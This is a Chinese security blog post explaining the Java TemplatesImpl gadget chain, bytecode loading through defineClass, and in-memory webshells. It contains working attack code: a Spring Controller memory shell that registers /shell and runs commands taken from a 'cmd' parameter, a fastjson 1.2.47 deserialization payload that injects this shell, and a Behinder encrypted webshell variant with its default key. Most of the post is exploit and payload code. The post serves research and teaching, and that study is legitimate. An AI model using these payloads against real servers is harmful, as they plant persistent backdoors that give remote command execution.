TemplatesImpl利用链与内存马
2023-1-30 15:20:0 Author: xz.aliyun.com(查看原文) 阅读量:22 收藏

0x01 背景

TemplatesImpl利用链是一个非常重要的东西,要知道,CC链可以用它,CB链也用它,注入内存马还是用它。为什么?因为它可以加载java字节码并实例化。相对于调用Runtime.exec进行命令执行,加载恶意代码更贴合我们的使用。
《java安全漫谈》中给出了TemplatesImpl利用链:

TemplatesImpl#newTransformer() ->
        TemplatesImpl#getTransletInstance() ->
            TemplatesImpl#defineTransletClasses()->
                TransletClassLoader#defineClass()->

在CB1分析中有提到,其实这条利用链还能加一个getOutputProperties,详见:https://xz.aliyun.com/t/12042

TemplatesImpl#getOutputProperties() -> 
TemplatesImpl#newTransformer() -> 
TemplatesImpl#getTransletInstance() -> 
TemplatesImpl#defineTransletClasses() -> 
TransletClassLoader#defineClass()

0x02 类加载器

ClassLoader,类加载器,是JVM执行类加载机制的前提,其主要任务为根据一个类的全限定名来读取此类的二进制字节流到JVM内部,然后转换为一个与目标类对应的java.lang.Class对象实例。
ClassLoader提供的API

package java.lang;
public abstract class ClassLoader {
    public Class loadClass(String name);
    protected Class defineClass(byte[] b);
    public URL getResource(String name);
    public Enumeration getResources(String name);
    public ClassLoader getParent();
}
URLClassLoader
DefineClassLoader
BCELClassloader
TemplatesImpl

0x03 defineClass加载器

通过反射获取ClassLoader#defineClass,进而读取字节码加载类

package com.classloader;

import java.lang.reflect.Method;
import java.util.Base64;

public class DefineClassLoaderDemo {
    public static void main(String[] args) throws Exception {

        //反射获取ClassLoader#defineClass
        Class clazz = Class.forName("java.lang.ClassLoader");
        Method defineClassMethod = clazz.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
        defineClassMethod.setAccessible(true);

        //先编译Evil.java再进行base64编码
        //cat Evil.class | base64
        byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAMAoACgAXCQAYABkIABoKABsAHAoAHQAeCAAfCgAdACAIACEHACIHACMBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAFkxjb20vY2xhc3Nsb2FkZXIvRXZpbDsBAApFeGNlcHRpb25zBwAkAQAIPGNsaW5pdD4BAApTb3VyY2VGaWxlAQAJRXZpbC5qYXZhDAALAAwHACUMACYAJwEAAnt9BwAoDAApACoHACsMACwALQEAKG9wZW4gL1N5c3RlbS9BcHBsaWNhdGlvbnMvQ2FsY3VsYXRvci5hcHAMAC4ALwEABnN0YXRpYwEAFGNvbS9jbGFzc2xvYWRlci9FdmlsAQAQamF2YS9sYW5nL09iamVjdAEAE2phdmEvaW8vSU9FeGNlcHRpb24BABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEACQAKAAAAAAACAAEACwAMAAIADQAAAEwAAgABAAAAFiq3AAGyAAISA7YABLgABRIGtgAHV7EAAAACAA4AAAASAAQAAAAGAAQADQAMAAcAFQAIAA8AAAAMAAEAAAAWABAAEQAAABIAAAAEAAEAEwAIABQADAABAA0AAAAlAAIAAAAAAAmyAAISCLYABLEAAAABAA4AAAAKAAIAAAAKAAgACwABABUAAAACABY=");

        Class targetClass = (Class) defineClassMethod.invoke(ClassLoader.getSystemClassLoader(),"com.classloader.Evil",bytes,0,bytes.length);
        targetClass.newInstance();

    }
}

看最后两行,通过反射拿到的方法,创建class对象。
通过newInstance实例化对象,触发恶意代码

Class targetClass = (Class) defineClassMethod.invoke(ClassLoader.getSystemClassLoader(),"com.classloader.Evil",bytes,0,bytes.length);
targetClass.newInstance();

com.classloader.Evil代码如下

package com.classloader;

import java.io.IOException;

public class Evil {
    public Evil() throws IOException{
        Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
    }
    static {
        System.out.println("static");
    }
    {
        System.out.println("{}");
    }
}

0x04 newInstance与new

我们知道,一个对象在可以被使用之前必须要被正确地实例化。
常见的实例化方式为

reTest re = new reTest();

如图,有个类reTest,分别存在static{}代码块,{}代码块,无参构造方法

实例化该类,可以看到,上面的3个代码块都执行了,并且顺序为: static{}>{}>无参构造方法

再看通过newInstance的方式,一样执行了几个代码块中的内容。

所以我们可以知道:
defineClass方法直接根据字节数组定义一个类,如果没有执行newInstance,那么不会执行静态代码块、构造代码块、构造方法中的内容。

0x05 利用TemplatesImpl来加载字节码

1、首先准备一个命令执行Exp。看了前面的内容知道,这里是写了一个无参构造方法,内容为调用Runtime执行一个弹出计算器的命令。

package com.classloader;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class TemplatesImplEvil extends AbstractTranslet {
    public TemplatesImplEvil() throws IOException {
        super();
        Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

2、然后我们就会有疑惑了,为什么这个Exp代码这么长,多了一些什么东西?

1继承了一个类AbstractTranslet
2多了两个transform方法

3、编写代码,加载前面的TemplatesImplEvil字节码

package com.classloader;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import java.lang.reflect.Field;
import java.util.Base64;

public class TemplatesImplDemo {
    public static void main(String[] args) throws Exception{
        //cat TemplatesImplEvil.class | base64
        byte[] code = Base64.getDecoder().decode("yv66vgAAADQALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAjTGNvbS9jbGFzc2xvYWRlci9UZW1wbGF0ZXNJbXBsRXZpbDsBAApFeGNlcHRpb25zBwAlAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwcAJgEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEAFlRlbXBsYXRlc0ltcGxFdmlsLmphdmEMAAcACAcAJwwAKAApAQAob3BlbiAvU3lzdGVtL0FwcGxpY2F0aW9ucy9DYWxjdWxhdG9yLmFwcAwAKgArAQAhY29tL2NsYXNzbG9hZGVyL1RlbXBsYXRlc0ltcGxFdmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgAKAAAADgADAAAADgAEAA8ADQAQAAsAAAAMAAEAAAAOAAwADQAAAA4AAAAEAAEADwABABAAEQACAAkAAAA/AAAAAwAAAAGxAAAAAgAKAAAABgABAAAAFgALAAAAIAADAAAAAQAMAA0AAAAAAAEAEgATAAEAAAABABQAFQACAA4AAAAEAAEAFgABABAAFwACAAkAAABJAAAABAAAAAGxAAAAAgAKAAAABgABAAAAGgALAAAAKgAEAAAAAQAMAA0AAAAAAAEAEgATAAEAAAABABgAGQACAAAAAQAaABsAAwAOAAAABAABABYAAQAcAAAAAgAd");
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][] {code});
        setFieldValue(templates, "_name", "HelloTemplatesImpl");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        templates.newTransformer();
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

4、执行,确实弹出了计算器

5、这里很麻烦,每次都要去找到class文件并获取它的字节码,可以通过一个包,直接读取字节码

<!-- https://mvnrepository.com/artifact/javassist/javassist -->
<dependency>
    <groupId>javassist</groupId>
    <artifactId>javassist</artifactId>
    <version>3.12.1.GA</version>
</dependency>

ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(com.classloader.TemplatesImplEvil.class.getName());
byte[] code = clazz.toBytecode();

6、可以正常执行了,我在com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.TransletClassLoader#defineClass处下了个断点

7、前面知道了newInstance实例化之后才能触发构造方法,这里看调用链,最后是到defineClass就结束了,为什么也可以实现调用构造方法呢,我在Runtime处下了个断点查看

8、看利用链是从getTransletInstance就调用了newInstance

9、在newInstance的上面,进行了_name和_class的判断,然后进入调用链到defineClass进行类定义
之后,到

AbstractTranslet translet = (AbstractTranslet)
        _class[_transletIndex].getConstructor().newInstance();

强转为AbstractTranslet,并且调用newInstance实例化。
这也是为什么执行的类需要继承AbstractTranslet,并且没有看到newInstance
10、完善之后的利用链

TemplatesImpl#getOutputProperties() -> 
TemplatesImpl#newTransformer() -> 
TemplatesImpl#getTransletInstance() -> 
TemplatesImpl#defineTransletClasses() -> 
TransletClassLoader#defineClass()
TemplatesImpl#getTransletInstance() -> 
Constructor#newInstance() ->
Runtime#exec(java.lang.String)

11、补个坑,TemplatesImplEvil创建的两个transform方法,继承AbstractTranslet自动需要的。

0x06 内存马

文章第四部分,了解了实例化类的时候,会自动执行static{}代码块,{}代码块,无参构造方法
那么如何注入内存马呢,也是通过newInstance实现
1、首先我们看完整的spring Controller内存马

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.PrintWriter;
import java.lang.reflect.Method;

//回显spring Controller内存马

public class TemplatesImplSpringController extends AbstractTranslet {
    public TemplatesImplSpringController() throws Exception{
        super();
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.
                currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

        RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
        Method method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappingRegistry");
        method.setAccessible(true);
        Method method2 = TemplatesImplSpringController.class.getMethod("test");
        PatternsRequestCondition url = new PatternsRequestCondition("/shell");
        RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
        RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
        TemplatesImplSpringController inject = new TemplatesImplSpringController("aaa");
        mappingHandlerMapping.registerMapping(info, inject, method2);

    }
    public TemplatesImplSpringController(String aaa) {

    }
    public void test() throws Exception {
        HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
        HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();

        try {
            String arg0 = request.getParameter("cmd");
            PrintWriter writer = response.getWriter();
            if (arg0 != null) {
                String o = "";
                java.lang.ProcessBuilder p;
                if (System.getProperty("os.name").toLowerCase().contains("win")) {
                    p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
                } else {
                    p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
                }
                java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
                o = c.hasNext() ? c.next() : o;
                c.close();
                writer.write(o);
                writer.flush();
                writer.close();
            } else {
                response.sendError(404);
            }
        } catch (Exception e) {
        }
    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

2、内容有点多,首先看到有如下几个方法

public TemplatesImplSpringController() throws Exception{
public TemplatesImplSpringController(String aaa) {
public void test() throws Exception {
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

3、倒数两个可以不看,前面了解了要通过templatesImpl加载某个类的字节码,需要继承AbstractTranslet,继承之后自动生成两个transform方法

4、然后整个内存马就变成了3个部分

无参构造方法TemplatesImplSpringController()
有参构造方法TemplatesImplSpringController(String aaa)
test()

5、了解过内存马之后我们知道,tomcat或者spring,注入内存马都基本是通过获取上下文对象,再通过内置方法动态注册filter、listener、selvelt、controller、intercopter等
查看无参构造方法

public TemplatesImplSpringController() throws Exception{
        super();
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.
                currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

        RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
        Method method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappingRegistry");
        method.setAccessible(true);
        Method method2 = TemplatesImplSpringController.class.getMethod("test");
        PatternsRequestCondition url = new PatternsRequestCondition("/shell");
        RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
        RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
        TemplatesImplSpringController inject = new TemplatesImplSpringController("aaa");
        mappingHandlerMapping.registerMapping(info, inject, method2);

    }

super关键字主要是防止编译报错,具体可以看:
https://blog.csdn.net/yongbutingxide/article/details/82669054

获取上下文对象context市面上公布的有4种方式:

//第一种:getCurrentWebApplicationContext()
// getCurrentWebApplicationContext方法获得的是一个XmlWebApplicationContext实例类型的Root WebApplicationContext。
WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();

//第二种:WebApplicationContextUtils
// 通过这种方法获得的也是一个 Root WebApplicationContext 。此方法看起来比较麻烦
WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());

//第三种:RequestContextUtils
// 通过 ServletRequest 类的实例来获得 Child WebApplicationContext
WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());

//第四种:getAttribute
// 这种方式与前几种的思路就不太一样了,因为所有的Context在创建后,都会被作为一个属性添加到了ServletContext中。所以通过直接获得ServletContext通过属性Context拿到 Child WebApplicationContext
WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

6、拿到context之后,就可以通过context获取RequestMappingHandlerMapping,对象可以通过registerMapping注册恶意的Controller

// 动态注册controller
// 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
...
...
// 5. 在内存中动态注册 controller
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
...
// 将该controller注册到Spring容器
mappingHandlerMapping.registerMapping(info, inject, method2);

7、中间部分则是创建好注册恶意controller所需要的字段,url为指定的路径

// 2. 通过反射获得自定义 controller 中唯一的 Method 对象
Method method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappingRegistry");
method.setAccessible(true);
// 通过反射获得该类的test方法
Method method2 = TemplatesImplSpringController.class.getMethod("test");
// 3. 定义访问 controller 的 URL 地址
PatternsRequestCondition url = new PatternsRequestCondition("/shell");
// 4. 定义允许访问 controller 的 HTTP 方法(GET/POST)
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();

8、第二个构造函数与无参构造函数中创建对象的含义

// 创建用于处理请求的对象,加入“aaa”参数是为了触发第二个构造函数避免无限循环
TemplatesImplSpringController inject = new TemplatesImplSpringController("aaa");

9、最后剩下test部分,此部分最后会注册到spring中,为内存马实际执行代码。

public void test() throws Exception {
        // 获取request和response对象
        HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
        HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
        // 获取cmd参数并执行命令,回显
        try {
            String arg0 = request.getParameter("cmd");
            PrintWriter writer = response.getWriter();
            if (arg0 != null) {
                String o = "";
                java.lang.ProcessBuilder p;
                if(System.getProperty("os.name").toLowerCase().contains("win")){
                    p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
                }else{
                    p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
                }
                java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
                o = c.hasNext() ? c.next(): o;
                c.close();
                writer.write(o);
                writer.flush();
                writer.close();
            }else{
                //当请求没有携带指定的参数(code)时,返回 404 错误
                response.sendError(404);
            }
        }catch (Exception e){}
    }

比较关键的就是request和response对象的获取

引入的两个包为tomcat包,这也是为什么spring gateway的el表达式注入漏洞无法直接注入冰蝎内存马的原因

0x07 fastjson1.2.47注入内存马

通过的是templatesImpl利用链

{"a": {"@type": "java.lang.Class","val": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"},"b": {"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes": ["恶意类字节码"],'_name': 'a.b','_tfactory': {},"_outputProperties": {},"_name": "b","_version": "1.0","allowedProtocols": "all"}}

1、起一个springboot,代码如下

package com.shiro.vuln.Controller;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import org.springframework.http.MediaType;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
public class FastjsonController {
    @RequestMapping( "/deserialize")
    @ResponseBody
    public String deserialize(@RequestParam String code) throws Exception{
//        JSON.parse(code);
        //fastjson1.2.47 TemplatesImpl利用
        JSON.parseObject(code,Object.class, Feature.SupportNonPublicField);
        return "deserialize";
    }
}

2、使用TemplatesImplEvil字节码攻击
加载的恶意类代码

获取恶意类字节码base64

执行弹出计算器

3、获取内存马恶意类的字节码base64

4、攻击fastjson,注入内存马

5、访问内存马

6、修改test部分为冰蝎逻辑即可注入冰蝎内存马

public void test() throws Exception {
        try {
            HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
            HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
            HttpSession session = request.getSession();
            //create pageContext
            HashMap pageContext = new HashMap();
            pageContext.put("request", request);
            pageContext.put("response", response);
            pageContext.put("session", session);

            if (request.getMethod().equals("POST")){
                String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
                session.putValue("u",k);
                Cipher c=Cipher.getInstance("AES");
                c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
                Method method = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
                method.setAccessible(true);
                byte[] evilclass_byte = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()));
                Class evilclass = (Class) method.invoke(this.getClass().getClassLoader(), evilclass_byte,0, evilclass_byte.length);
                evilclass.newInstance().equals(pageContext);
            }

        }catch (Exception e){
            e.printStackTrace();
        }


    }

生成字节码base64

发送数据包

连接http://192.168.100.71:8080/shell2

0x08 参考

https://t.zsxq.com/0a70j7Ake
https://xz.aliyun.com/t/12042
https://mp.weixin.qq.com/s/30F7FomHiTnak_qe8mslIQ
https://xz.aliyun.com/t/10781
https://xz.aliyun.com/t/12047


文章来源: https://xz.aliyun.com/t/12085
如有侵权请联系:admin#unsafe.sh